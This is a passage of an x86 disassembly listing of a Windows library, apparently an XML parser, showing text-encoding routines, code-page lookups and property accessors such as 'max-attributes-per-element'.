		mov	eax, [ebp+arg_10]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_14], ecx


loc_69B36E1A:				; CODE XREF: sub_69B36DF4+3Ej
		mov	bl, [esi]
		mov	[eax], bl
		mov	bl, [esi+1]
		inc	eax
		mov	[eax], bl
		inc	eax
		mov	byte ptr [eax],	0
		inc	eax
		mov	byte ptr [eax],	0
		inc	eax
		inc	esi
		inc	esi
		dec	[ebp+arg_14]
		jnz	short loc_69B36E1A
		pop	esi
		pop	ebx


loc_69B36E36:				; CODE XREF: sub_69B36DF4+19j
		mov	eax, ecx
		shl	eax, 2
		mov	[edx], ecx
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		pop	ebp
		retn	18h
sub_69B36DF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B36E46	proc near		; CODE XREF: sub_69B7A98A+75p
					; DATA XREF: .text:69B272CCo ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		mov	edi, [eax]
		mov	eax, [ebp+arg_14]
		mov	eax, [eax]
		xor	esi, esi
		mov	[ebp+var_10], eax
		dec	eax
		dec	eax
		test	edi, edi
		mov	[ebp+var_C], eax
		mov	[ebp+var_1], 0
		mov	[ebp+var_8], edi
		jbe	loc_69B36FA4
		mov	eax, [ebp+arg_10]
		push	ebx
		mov	ebx, 80h


loc_69B36E7A:				; CODE XREF: sub_69B36E46+14Bj
		cmp	[ebp+var_1], 0
		mov	ecx, [ebp+arg_8]
		movzx	edx, word ptr [ecx]
		jz	loc_69B36F21
		cmp	edx, 0DC00h
		jb	short loc_69B36EEC
		cmp	edx, 0DFFFh
		ja	short loc_69B36EEC
		mov	ecx, [ebp+var_C]
		dec	ecx
		cmp	esi, ecx
		jnb	loc_69B36F97
		mov	ecx, [ebp+arg_10]
		add	ecx, 0FFFF2809h
		shl	ecx, 0Ah
		add	ecx, edx
		mov	edx, ecx
		shr	edx, 12h
		or	dl, 0F0h
		mov	[eax], dl
		mov	edx, ecx
		shr	edx, 0Ch
		and	dl, 3Fh
		or	dl, bl
		add	esi, 4
		inc	eax
		mov	[eax], dl
		mov	edx, ecx
		shr	edx, 6
		and	dl, 3Fh
		inc	eax
		or	dl, bl
		mov	[eax], dl
		inc	eax
		and	cl, 3Fh
		or	cl, bl
		mov	[eax], cl
		mov	[ebp+var_1], 0
		jmp	loc_69B36F89
; ---------------------------------------------------------------------------


loc_69B36EEC:				; CODE XREF: sub_69B36E46+4Aj
					; sub_69B36E46+52j
		cmp	esi, [ebp+var_C]
		jnb	loc_69B36F97
		mov	ecx, [ebp+arg_10]
		shr	ecx, 0Ch
		or	cl, 0E0h
		mov	[eax], cl
		mov	ecx, [ebp+arg_10]
		shr	ecx, 6
		and	cl, 3Fh
		or	cl, bl
		add	esi, 3
		inc	eax
		mov	[eax], cl
		mov	cl, byte ptr [ebp+arg_10]
		and	cl, 3Fh
		inc	eax
		or	cl, bl
		mov	[eax], cl
		inc	eax
		mov	[ebp+var_1], 0


loc_69B36F21:				; CODE XREF: sub_69B36E46+3Ej
		cmp	edx, ebx
		jnb	short loc_69B36F2D
		cmp	esi, [ebp+var_10]
		jnb	short loc_69B36F97
		inc	esi
		jmp	short loc_69B36F87
; ---------------------------------------------------------------------------


loc_69B36F2D:				; CODE XREF: sub_69B36E46+DDj
		cmp	edx, 800h
		jnb	short loc_69B36F49
		mov	ecx, [ebp+var_10]
		dec	ecx
		cmp	esi, ecx
		jnb	short loc_69B36F97
		inc	esi
		mov	ecx, edx
		shr	ecx, 6
		inc	esi
		or	cl, 0C0h
		jmp	short loc_69B36F7F
; ---------------------------------------------------------------------------


loc_69B36F49:				; CODE XREF: sub_69B36E46+EDj
		cmp	edx, 0D800h
		jb	short loc_69B36F62
		cmp	edx, 0DBFFh
		ja	short loc_69B36F62
		mov	[ebp+arg_10], edx
		mov	[ebp+var_1], 1
		jmp	short loc_69B36F8A
; ---------------------------------------------------------------------------


loc_69B36F62:				; CODE XREF: sub_69B36E46+109j
					; sub_69B36E46+111j
		cmp	esi, [ebp+var_C]
		jnb	short loc_69B36F97
		mov	ecx, edx
		shr	ecx, 0Ch
		or	cl, 0E0h
		mov	[eax], cl
		mov	ecx, edx
		shr	ecx, 6
		add	esi, 3
		and	cl, 3Fh
		inc	eax
		or	cl, bl


loc_69B36F7F:				; CODE XREF: sub_69B36E46+101j
		and	dl, 3Fh
		mov	[eax], cl
		inc	eax
		or	dl, bl


loc_69B36F87:				; CODE XREF: sub_69B36E46+E5j
		mov	[eax], dl


loc_69B36F89:				; CODE XREF: sub_69B36E46+A1j
		inc	eax


loc_69B36F8A:				; CODE XREF: sub_69B36E46+11Aj
		add	[ebp+arg_8], 2
		dec	[ebp+var_8]
		jnz	loc_69B36E7A


loc_69B36F97:				; CODE XREF: sub_69B36E46+5Aj
					; sub_69B36E46+A9j ...
		cmp	[ebp+var_1], 0
		pop	ebx
		jz	short loc_69B36FA4
		sub	edi, [ebp+var_8]
		dec	edi
		jmp	short loc_69B36FA7
; ---------------------------------------------------------------------------


loc_69B36FA4:				; CODE XREF: sub_69B36E46+25j
					; sub_69B36E46+156j
		sub	edi, [ebp+var_8]


loc_69B36FA7:				; CODE XREF: sub_69B36E46+15Cj
		mov	eax, [ebp+arg_C]
		mov	[eax], edi
		mov	eax, [ebp+arg_14]
		mov	[eax], esi
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	18h
sub_69B36E46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B36FB9(int, UINT CodePage, LPCWSTR lpWideCharStr,	int, LPSTR lpMultiByteStr, int)

sub_69B36FB9	proc near		; DATA XREF: .text:69B271C4o
					; .text:69B271DCo ...

UsedDefaultChar	= dword	ptr -4
CodePage	= dword	ptr  0Ch
lpWideCharStr	= dword	ptr  10h
arg_C		= dword	ptr  14h
lpMultiByteStr	= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_14]
		push	edi
		lea	eax, [ebp+UsedDefaultChar]
		push	eax		; lpUsedDefaultChar
		mov	eax, [ebp+arg_C]
		xor	edi, edi
		push	edi		; lpDefaultChar
		push	dword ptr [esi]	; cchMultiByte
		mov	[ebp+UsedDefaultChar], edi
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		push	dword ptr [eax]	; cchWideChar
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		push	edi		; dwFlags
		push	[ebp+CodePage]	; CodePage
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		cmp	eax, edi
		mov	[esi], eax
		jnz	short loc_69B36FF3
		call	ds:GetLastError
		mov	edi, eax
		jmp	short loc_69B36FFB
; ---------------------------------------------------------------------------


loc_69B36FF3:				; CODE XREF: sub_69B36FB9+2Ej
		cmp	[ebp+UsedDefaultChar], edi
		jz	short loc_69B36FFB
		xor	edi, edi
		inc	edi


loc_69B36FFB:				; CODE XREF: sub_69B36FB9+38j
					; sub_69B36FB9+3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	18h
sub_69B36FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B37003	proc near		; DATA XREF: sub_69B37251+93o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		call	sub_69B3698E
		test	eax, eax
		jl	short loc_69B37032
		push	[ebp+arg_14]
		mov	eax, ppv
		push	[ebp+arg_10]
		mov	ecx, [eax]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+2Ch]
		test	eax, eax
		jl	short loc_69B37032
		xor	eax, eax


loc_69B37032:				; CODE XREF: sub_69B37003+Aj
					; sub_69B37003+2Bj
		pop	ebp
		retn	18h
sub_69B37003	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B37036	proc near		; CODE XREF: sub_69B35F15+1Dp
					; sub_69B360BA+2Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	0Ch
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B3704F
		mov	dword ptr [eax], offset	off_69B276A8
		mov	ebx, eax
		jmp	short loc_69B37051
; ---------------------------------------------------------------------------


loc_69B3704F:				; CODE XREF: sub_69B37036+Dj
		xor	ebx, ebx


loc_69B37051:				; CODE XREF: sub_69B37036+17j
		test	ebx, ebx
		jnz	short loc_69B37059
		xor	eax, eax
		jmp	short loc_69B370AF
; ---------------------------------------------------------------------------


loc_69B37059:				; CODE XREF: sub_69B37036+1Dj
		push	esi
		mov	esi, [ebp+arg_4]
		add	esi, esi
		lea	eax, [esi+2]
		push	eax
		mov	[ebp+arg_4], esi
		call	sub_69B11E44
		test	eax, eax
		mov	[ebx+4], eax
		jnz	short loc_69B3707E
		mov	eax, [ebx]
		push	1
		mov	ecx, ebx
		call	dword ptr [eax]
		xor	eax, eax
		jmp	short loc_69B370AE
; ---------------------------------------------------------------------------


loc_69B3707E:				; CODE XREF: sub_69B37036+3Aj
		push	edi
		mov	edi, eax
		mov	ecx, esi
		mov	esi, [ebp+arg_0]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+4]
		mov	ecx, [ebp+arg_4]
		and	word ptr [ecx+eax], 0
		mov	al, [ebp+arg_8]
		mov	[ebx+8], al
		mov	al, [ebp+arg_C]
		mov	[ebx+9], al
		mov	eax, ebx
		pop	edi


loc_69B370AE:				; CODE XREF: sub_69B37036+46j
		pop	esi


loc_69B370AF:				; CODE XREF: sub_69B37036+21j
		pop	ebx
		pop	ebp
		retn	10h
sub_69B37036	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B370B4	proc near		; CODE XREF: sub_69B372FA+3p
		mov	dword ptr [ecx], offset	off_69B276A8
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_69B370C7
		push	ecx
		call	sub_69B1B2B7

locret_69B370C7:			; CODE XREF: sub_69B370B4+Bj
		retn
sub_69B370B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B370C8(OLECHAR *,	int, int)

sub_69B370C8	proc near		; CODE XREF: sub_69B371A8+15p
					; sub_69B37251+15p ...

var_84		= byte ptr -84h
CodePage	= dword	ptr -80h
CPInfo		= _cpinfo ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		push	edi
		push	offset sub_69B3693B
		push	1Bh
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		call	sub_69B3694C
		mov	ebx, ds:GetCPInfo
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B37133
		lea	esi, [edi+edi*2]
		shl	esi, 3
		cmp	ds:byte_69B2719C[esi], 0
		jz	short loc_69B37119
		lea	eax, [ebp+CPInfo]
		push	eax		; lpCPInfo
		push	ds:dword_69B27198[esi] ; CodePage
		call	ebx ; GetCPInfo
		test	eax, eax
		jz	short loc_69B37133


loc_69B37119:				; CODE XREF: sub_69B370C8+3Fj
		mov	eax, ds:dword_69B27198[esi]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, ds:dword_69B271A4[esi]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, edi
		jmp	short loc_69B37196
; ---------------------------------------------------------------------------


loc_69B37133:				; CODE XREF: sub_69B370C8+30j
					; sub_69B370C8+4Fj
		call	sub_69B3698E
		test	eax, eax
		jnz	short loc_69B37193
		push	[ebp+arg_0]	; OLECHAR *
		call	SysAllocString
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B37193
		mov	eax, ppv
		mov	ecx, [eax]
		lea	edx, [ebp+var_84]
		push	edx
		push	esi
		push	eax
		call	dword ptr [ecx+1Ch]
		push	esi		; BSTR
		mov	edi, eax
		call	SysFreeString
		test	edi, edi
		jnz	short loc_69B37193
		mov	eax, [ebp+CodePage]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		lea	ecx, [ebp+CPInfo]
		push	ecx		; lpCPInfo
		push	eax		; CodePage
		call	ebx ; GetCPInfo
		test	eax, eax
		mov	eax, [ebp+arg_8]
		jz	short loc_69B37188
		mov	ecx, [ebp+CPInfo.MaxCharSize]
		mov	[eax], ecx
		jmp	short loc_69B3718E
; ---------------------------------------------------------------------------


loc_69B37188:				; CODE XREF: sub_69B370C8+B7j
		mov	dword ptr [eax], 4


loc_69B3718E:				; CODE XREF: sub_69B370C8+BEj
		or	eax, 0FFFFFFFFh
		jmp	short loc_69B37196
; ---------------------------------------------------------------------------


loc_69B37193:				; CODE XREF: sub_69B370C8+72j
					; sub_69B370C8+81j ...
		push	0FFFFFFFEh
		pop	eax


loc_69B37196:				; CODE XREF: sub_69B370C8+69j
					; sub_69B370C8+C9j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	0Ch
sub_69B370C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B371A8	proc near		; CODE XREF: sub_69B360BA+131p
					; sub_69B361FC+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_C]	; int
		mov	edi, [ebp+arg_4]
		push	edi		; int
		push	dword ptr [esi+4] ; OLECHAR *
		xor	ebx, ebx
		call	sub_69B370C8
		test	eax, eax
		jl	short loc_69B3721B
		mov	edi, [edi]
		cmp	edi, 4B0h
		jz	short loc_69B37202
		cmp	edi, 2EE0h
		jz	short loc_69B371E9
		mov	ecx, [ebp+arg_8]
		lea	eax, [eax+eax*2]
		mov	eax, ds:off_69B271A8[eax*8]
		mov	[ecx], eax
		jmp	short loc_69B37248
; ---------------------------------------------------------------------------


loc_69B371E9:				; CODE XREF: sub_69B371A8+2Ej
		cmp	byte ptr [esi+8], 0
		mov	eax, [ebp+arg_8]
		jz	short loc_69B371FA
		mov	dword ptr [eax], offset	sub_69B36C62
		jmp	short loc_69B37248
; ---------------------------------------------------------------------------


loc_69B371FA:				; CODE XREF: sub_69B371A8+48j
		mov	dword ptr [eax], offset	sub_69B36C05
		jmp	short loc_69B37248
; ---------------------------------------------------------------------------


loc_69B37202:				; CODE XREF: sub_69B371A8+26j
		cmp	byte ptr [esi+8], 0
		mov	eax, [ebp+arg_8]
		jz	short loc_69B37213
		mov	dword ptr [eax], offset	sub_69B36BC1
		jmp	short loc_69B37248
; ---------------------------------------------------------------------------


loc_69B37213:				; CODE XREF: sub_69B371A8+61j
		mov	dword ptr [eax], offset	sub_69B36B7A
		jmp	short loc_69B37248
; ---------------------------------------------------------------------------


loc_69B3721B:				; CODE XREF: sub_69B371A8+1Cj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B37243
		mov	eax, ppv
		mov	ecx, [eax]
		push	4B0h
		push	dword ptr [edi]
		push	eax
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B37248
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], offset	sub_69B36CF7
		jmp	short loc_69B37248
; ---------------------------------------------------------------------------


loc_69B37243:				; CODE XREF: sub_69B371A8+76j
		mov	ebx, 80004005h


loc_69B37248:				; CODE XREF: sub_69B371A8+3Fj
					; sub_69B371A8+50j ...
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	10h
sub_69B371A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B37251	proc near		; CODE XREF: sub_69B3683A+77p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_C]	; int
		mov	edi, [ebp+arg_4]
		push	edi		; int
		push	dword ptr [esi+4] ; OLECHAR *
		xor	ebx, ebx
		call	sub_69B370C8
		test	eax, eax
		jl	short loc_69B372C4
		mov	edi, [edi]
		cmp	edi, 4B0h
		jz	short loc_69B372AB
		cmp	edi, 2EE0h
		jz	short loc_69B37292
		mov	ecx, [ebp+arg_8]
		lea	eax, [eax+eax*2]
		mov	eax, ds:off_69B271AC[eax*8]
		mov	[ecx], eax
		jmp	short loc_69B372F1
; ---------------------------------------------------------------------------


loc_69B37292:				; CODE XREF: sub_69B37251+2Ej
		cmp	byte ptr [esi+8], 0
		mov	eax, [ebp+arg_8]
		jz	short loc_69B372A3
		mov	dword ptr [eax], offset	sub_69B36DF4
		jmp	short loc_69B372F1
; ---------------------------------------------------------------------------


loc_69B372A3:				; CODE XREF: sub_69B37251+48j
		mov	dword ptr [eax], offset	sub_69B36DA2
		jmp	short loc_69B372F1
; ---------------------------------------------------------------------------


loc_69B372AB:				; CODE XREF: sub_69B37251+26j
		cmp	byte ptr [esi+8], 0
		mov	eax, [ebp+arg_8]
		jz	short loc_69B372BC
		mov	dword ptr [eax], offset	sub_69B36D70
		jmp	short loc_69B372F1
; ---------------------------------------------------------------------------


loc_69B372BC:				; CODE XREF: sub_69B37251+61j
		mov	dword ptr [eax], offset	sub_69B36D2A
		jmp	short loc_69B372F1
; ---------------------------------------------------------------------------


loc_69B372C4:				; CODE XREF: sub_69B37251+1Cj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B372EC
		push	dword ptr [edi]
		mov	eax, ppv
		mov	ecx, [eax]
		push	4B0h
		push	eax
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B372EC
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], offset	sub_69B37003
		jmp	short loc_69B372F1
; ---------------------------------------------------------------------------


loc_69B372EC:				; CODE XREF: sub_69B37251+76j
					; sub_69B37251+8Ej
		mov	ebx, 80004005h


loc_69B372F1:				; CODE XREF: sub_69B37251+3Fj
					; sub_69B37251+50j ...
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	10h
sub_69B37251	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B372FA	proc near		; DATA XREF: .text:off_69B276A8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B370B4
		test	[esp+4+arg_0], 1
		jz	short loc_69B3730F
		push	esi
		call	sub_69B1B2B7


loc_69B3730F:				; CODE XREF: sub_69B372FA+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B372FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37315	proc near		; CODE XREF: sub_69B3937E+FDp
					; sub_69B39507+D4p ...
		mov	eax, [ecx+0ACh]
		test	eax, eax
		jnz	short locret_69B37330
		cmp	[ecx+0BCh], eax
		jz	short loc_69B3732E
		mov	eax, [ecx+0B4h]
		retn
; ---------------------------------------------------------------------------


loc_69B3732E:				; CODE XREF: sub_69B37315+10j
		xor	eax, eax

locret_69B37330:			; CODE XREF: sub_69B37315+8j
		retn
sub_69B37315	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37331	proc near		; CODE XREF: sub_69B39325+4Ep
		push	esi
		mov	esi, ecx
		lea	eax, [esi+90h]
		push	eax		; lpCriticalSection
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		xor	eax, eax
		mov	[esi+14h], eax
		mov	[esi+78h], eax
		mov	[esi+74h], eax
		mov	[esi+80h], eax
		mov	[esi+86h], ax
		mov	[esi+84h], ax
		mov	[esi+5Ch], eax
		mov	[esi+2Ah], ax
		mov	[esi+2Ch], al
		mov	[esi+20h], eax
		mov	[esi+30h], eax
		mov	[esi+0ACh], eax
		mov	[esi+0B0h], eax
		mov	[esi+0B4h], eax
		mov	[esi+38h], al
		mov	[esi+39h], al
		mov	[esi+3Bh], al
		mov	[esi+7Ch], ax
		mov	[esi+18h], eax
		mov	[esi+44h], eax
		mov	[esi+1Ch], eax
		mov	[esi+26h], al
		mov	[esi+25h], al
		mov	[esi+27h], al
		mov	[esi+24h], al
		mov	[esi+0B8h], al
		mov	[esi+0BCh], eax
		pop	esi
		jmp	sub_69B1E031
sub_69B37331	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B373B6	proc near		; DATA XREF: .text:69B27760o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	byte ptr [eax+25h], 1
		xor	eax, eax
		retn	4
sub_69B373B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B373C3	proc near		; DATA XREF: .text:69B27720o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+1Ch]
		retn	4
sub_69B373C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B373CD	proc near		; DATA XREF: .text:69B27768o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		mov	ecx, edx
		shr	ecx, 2
		and	cl, 1
		mov	[eax+2Ch], cl
		mov	cl, dl
		shr	cl, 5
		and	cl, 1
		mov	[eax+2Ah], dx
		mov	[eax+41h], cl
		mov	eax, [eax+14h]
		test	eax, eax
		jz	short loc_69B373FE
		push	edx
		mov	ecx, eax
		call	sub_69B31CD2


loc_69B373FE:				; CODE XREF: sub_69B373CD+27j
		xor	eax, eax
		retn	8
sub_69B373CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37403	proc near		; DATA XREF: .text:69B27728o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		movzx	eax, word ptr [eax+2Ah]
		retn	4
sub_69B37403	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B3740E(int, LPCWSTR lpString)

sub_69B3740E	proc near		; DATA XREF: .text:69B2776Co

arg_0		= dword	ptr  4
lpString	= dword	ptr  8

		push	edi
		xor	edi, edi
		cmp	[esp+4+lpString], edi
		jz	short loc_69B3742D
		push	[esp+4+lpString] ; lpString
		call	sub_69B8AADD
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3742D
		mov	eax, 8007000Eh
		jmp	short loc_69B37444
; ---------------------------------------------------------------------------


loc_69B3742D:				; CODE XREF: sub_69B3740E+7j
					; sub_69B3740E+16j
		push	esi
		mov	esi, [esp+8+arg_0]
		add	esi, 0ACh
		push	dword ptr [esi]
		call	sub_69B1B2B7
		mov	[esi], edi
		xor	eax, eax
		pop	esi


loc_69B37444:				; CODE XREF: sub_69B3740E+1Dj
		pop	edi
		retn	8
sub_69B3740E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37448	proc near		; DATA XREF: .text:69B27770o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+0ACh]
		mov	ecx, [esp+arg_4]
		mov	[ecx], eax
		xor	eax, eax
		retn	8
sub_69B37448	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B3745D(LPCWSTR lpString)

sub_69B3745D	proc near		; CODE XREF: sub_69B384B3+94p
					; sub_69B3937E+125p ...

lpString	= dword	ptr  4

		push	esi
		push	edi
		xor	edi, edi
		cmp	[esp+8+lpString], edi
		mov	esi, ecx
		jz	short loc_69B3747F
		push	[esp+8+lpString] ; lpString
		call	sub_69B8AADD
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3747F
		mov	eax, 8007000Eh
		jmp	short loc_69B37490
; ---------------------------------------------------------------------------


loc_69B3747F:				; CODE XREF: sub_69B3745D+Aj
					; sub_69B3745D+19j
		add	esi, 0B0h
		push	dword ptr [esi]
		call	sub_69B1B2B7
		mov	[esi], edi
		xor	eax, eax


loc_69B37490:				; CODE XREF: sub_69B3745D+20j
		pop	edi
		pop	esi
		retn	4
sub_69B3745D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B37495(LPCWSTR lpString)

sub_69B37495	proc near		; CODE XREF: sub_69B3DD97+65p

lpString	= dword	ptr  4

		push	esi
		push	edi
		xor	edi, edi
		cmp	[esp+8+lpString], edi
		mov	esi, ecx
		jz	short loc_69B374B7
		push	[esp+8+lpString] ; lpString
		call	sub_69B8AADD
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B374B7
		mov	eax, 8007000Eh
		jmp	short loc_69B374C8
; ---------------------------------------------------------------------------


loc_69B374B7:				; CODE XREF: sub_69B37495+Aj
					; sub_69B37495+19j
		add	esi, 0B4h
		push	dword ptr [esi]
		call	sub_69B1B2B7
		mov	[esi], edi
		xor	eax, eax


loc_69B374C8:				; CODE XREF: sub_69B37495+20j
		pop	edi
		pop	esi
		retn	4
sub_69B37495	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B374CD(int, int, VARIANTARG pvarSrc)

sub_69B374CD	proc near		; DATA XREF: .text:69B2777Co

pvargDest	= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
pvarSrc		= VARIANTARG ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_4]
		push	1Ah
		push	offset aMaxAttributesP ; "max-attributes-per-element"
		push	esi
		call	sub_69B84AC0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_69B3751D
		cmp	[esi+34h], ax
		jnz	short loc_69B3751D
		and	word ptr [ebp+pvargDest.anonymous_0], ax
		push	3		; vt
		push	eax		; wFlags
		push	409h		; lcid
		lea	eax, [ebp+pvarSrc]
		push	eax		; pvarSrc
		lea	eax, [ebp+pvargDest]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jl	short loc_69B37522
		mov	ecx, [ebp+arg_0]
		mov	edx, dword ptr [ebp+pvargDest.anonymous_0+8]
		mov	[ecx+0C0h], edx
		jmp	short loc_69B37522
; ---------------------------------------------------------------------------


loc_69B3751D:				; CODE XREF: sub_69B374CD+1Cj
					; sub_69B374CD+22j
		mov	eax, 80070057h


loc_69B37522:				; CODE XREF: sub_69B374CD+40j
					; sub_69B374CD+4Ej
		pop	esi
		leave
		retn	18h
sub_69B374CD	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B37527(int, int, VARIANTARG *pvarg)

sub_69B37527	proc near		; DATA XREF: .text:69B27780o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
pvarg		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		push	1Ah
		push	offset aMaxAttributesP ; "max-attributes-per-element"
		push	esi
		call	sub_69B84AC0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_69B3756E
		cmp	[esi+34h], ax
		jnz	short loc_69B3756E
		mov	esi, [esp+4+pvarg]
		push	esi		; pvarg
		call	VariantInit
		mov	eax, [esp+4+arg_0]
		mov	word ptr [esi],	3
		mov	eax, [eax+0C0h]
		test	eax, eax
		jge	short loc_69B37567
		or	eax, 0FFFFFFFFh


loc_69B37567:				; CODE XREF: sub_69B37527+3Bj
		mov	[esi+8], eax
		xor	eax, eax
		jmp	short loc_69B37573
; ---------------------------------------------------------------------------


loc_69B3756E:				; CODE XREF: sub_69B37527+17j
					; sub_69B37527+1Dj
		mov	eax, 80070057h


loc_69B37573:				; CODE XREF: sub_69B37527+45j
		pop	esi
		retn	0Ch
sub_69B37527	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B37577	proc near		; CODE XREF: sub_69B375AE+1Ep
					; sub_69B37B4D+80p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	dword ptr [esi+24h]
		call	sub_69B1B2B7
		mov	edi, [esp+8+arg_4]
		and	dword ptr [esi+24h], 0
		lea	eax, [edi+edi]
		push	eax
		call	sub_69B11E44
		test	eax, eax
		mov	[esi+24h], eax
		jnz	short loc_69B375A4
		mov	eax, 8007000Eh
		jmp	short loc_69B375A9
; ---------------------------------------------------------------------------


loc_69B375A4:				; CODE XREF: sub_69B37577+24j
		mov	[esi+28h], edi
		xor	eax, eax


loc_69B375A9:				; CODE XREF: sub_69B37577+2Bj
		pop	edi
		pop	esi
		retn	8
sub_69B37577	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B375AE	proc near		; CODE XREF: sub_69B37DFC+22p
					; sub_69B38A09+463p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	eax, [ebx+24h]
		cmp	eax, [ebx+10h]
		push	ebp
		jz	short loc_69B375F6
		mov	ebp, [ebx+14h]
		lea	eax, [ebp+1]
		cmp	[ebx+28h], eax
		jnb	short loc_69B375D5
		lea	eax, [ebp+32h]
		push	eax
		push	ebx
